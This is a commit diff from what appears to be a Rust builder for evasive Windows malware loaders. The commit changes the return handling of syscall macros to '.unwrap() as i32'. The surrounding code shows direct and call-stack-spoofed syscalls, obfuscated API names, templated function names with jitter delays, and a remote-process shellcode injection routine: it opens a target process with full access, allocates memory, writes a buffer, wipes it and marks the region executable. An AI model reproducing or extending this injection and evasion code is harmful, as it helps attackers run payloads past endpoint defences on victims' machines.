Return type changes
Switch ntcall to .unwrap() as i32 for new dyncvoke return type
This commit is contained in:
@@ -69,14 +69,14 @@ impl<'a> BuildContext<'a> {
|
||||
const SYSCALL_NT_CALL_MACRO: &str = r#"macro_rules! ntcall {
|
||||
($name:expr $(, $arg:expr)* $(,)?) => {{
|
||||
let _n = data::lc!($name);
|
||||
dyncvoke_core::syscall!(_n.as_str() $(, $arg)*).unwrap_or(-1)
|
||||
dyncvoke_core::syscall!(_n.as_str() $(, $arg)*).unwrap() as i32
|
||||
}};
|
||||
}"#;
|
||||
|
||||
const CALLSTACK_NT_CALL_MACRO: &str = r#"macro_rules! ntcall {
|
||||
($name:expr $(, $arg:expr)* $(,)?) => {{
|
||||
let _n = data::lc!($name);
|
||||
spoof::spoof_syscall!(_n.as_str(), $($arg),*).map(|p| p as i32).unwrap_or(-1)
|
||||
spoof::spoof_syscall!(_n.as_str(), $($arg),*).unwrap() as i32
|
||||
}};
|
||||
}"#;
|
||||
|
||||
|
||||
@@ -30,7 +30,7 @@ unsafe fn syscall_alloc_exec(bytes: &[u8]) -> *mut c_void {
|
||||
&mut size as *mut usize,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE
|
||||
).unwrap_or(-1);
|
||||
).unwrap() as i32;
|
||||
if status < 0 || base.is_null() { return null_mut(); }
|
||||
|
||||
std::ptr::copy_nonoverlapping(bytes.as_ptr(), base as *mut u8, bytes.len());
|
||||
@@ -44,7 +44,7 @@ unsafe fn syscall_alloc_exec(bytes: &[u8]) -> *mut c_void {
|
||||
&mut psize as *mut usize,
|
||||
PAGE_EXECUTE_READ,
|
||||
&mut old_protect as *mut u32
|
||||
).unwrap_or(-1);
|
||||
).unwrap() as i32;
|
||||
if status < 0 { return null_mut(); }
|
||||
|
||||
base
|
||||
|
||||
@@ -117,7 +117,7 @@ fn {{FN_INJECT}}(mut buf: Vec<u8>, tar: usize) {
|
||||
PROCESS_ALL_ACCESS,
|
||||
&mut oa as *mut OBJECT_ATTRIBUTES,
|
||||
&mut ci as *mut CLIENT_ID
|
||||
).unwrap_or(-1);
|
||||
).unwrap() as i32;
|
||||
if !nt_success(s) { return; }
|
||||
|
||||
{{FN_PAUSE}}({{JITTER_1}});
|
||||
@@ -132,7 +132,7 @@ fn {{FN_INJECT}}(mut buf: Vec<u8>, tar: usize) {
|
||||
&mut size as *mut usize,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE
|
||||
).unwrap_or(-1);
|
||||
).unwrap() as i32;
|
||||
if !nt_success(s) { return; }
|
||||
|
||||
{{FN_PAUSE}}({{JITTER_2}});
|
||||
@@ -146,7 +146,7 @@ fn {{FN_INJECT}}(mut buf: Vec<u8>, tar: usize) {
|
||||
buf.as_mut_ptr() as *mut c_void,
|
||||
buf_len,
|
||||
&mut written as *mut usize
|
||||
).unwrap_or(-1);
|
||||
).unwrap() as i32;
|
||||
if !nt_success(s) { return; }
|
||||
|
||||
wipe(&mut buf);
|
||||
@@ -161,7 +161,7 @@ fn {{FN_INJECT}}(mut buf: Vec<u8>, tar: usize) {
|
||||
&mut psize as *mut usize,
|
||||
PAGE_EXECUTE_READ,
|
||||
&mut old_perms as *mut u32
|
||||
).unwrap_or(-1);
|
||||
).unwrap() as i32;
|
||||
if !nt_success(s) { return; }
|
||||
|
||||
{{FN_PAUSE}}({{JITTER_4}});
|
||||
|
||||
Reference in New Issue
Block a user